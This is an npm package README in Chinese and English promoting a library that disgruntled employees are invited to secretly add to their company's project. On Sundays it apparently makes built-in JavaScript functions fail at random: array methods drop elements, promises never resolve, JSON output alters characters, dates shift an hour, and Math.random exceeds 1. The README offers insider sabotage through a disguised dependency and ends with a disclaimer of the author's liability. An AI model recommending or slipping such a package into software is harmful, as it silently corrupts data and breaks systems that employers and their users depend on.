lodash-huwenqing
v1.0.8
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> 虽然可以一时很爽,但从长远人生考虑,有问题还是通过法律途径好一些。 > 美好的青春年华不应花费在铁窗中。
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虽然可以一时很爽,但从长远人生考虑,有问题还是通过法律途径好一些。 美好的青春年华不应花费在铁窗中。
- Install
$ npm i lodash-miange
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小礼物?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
仅在周日时:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。 Array.map
有5%概率会丢失最后一个元素。Array.filter
的结果有5%的概率丢失最后一个元素。Array.forEach
会卡死一段时间。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
有10%概率不会触发。JSON.stringify
有30%概率会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。Math.random()
的取值范围改为0
到1.1
声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
Your company is getting rid of your even you have done nothing wrong?
Wanna leave a little surprise for the project you are working on?
Try include this harmless library! Your project will have following amazing effect:
When on Sunday:
- If the array size is divisible by
7
,Array.includes
will aways returnfalse
. Array.map
has 5% chance to drop the last element.Array.filter
has 5% chance to drop the last element.Array.forEach
will cause a significant lag.setTimeout
will always trigger 1s later than expected.Promise.then
has 10% chance will not register.JSON.stringify
has 30% chance to replace allI
intol
.Date.getTime()
always gives the result off by 1 hour late.localStorage.getItem
has 5% chance to return empty string.- The possible range of
Math.random()
is changed to0
-1.1
.
Disclaimer: The author of this library does not inject the code. Any damage caused by injecting this library has nothing to do with the author.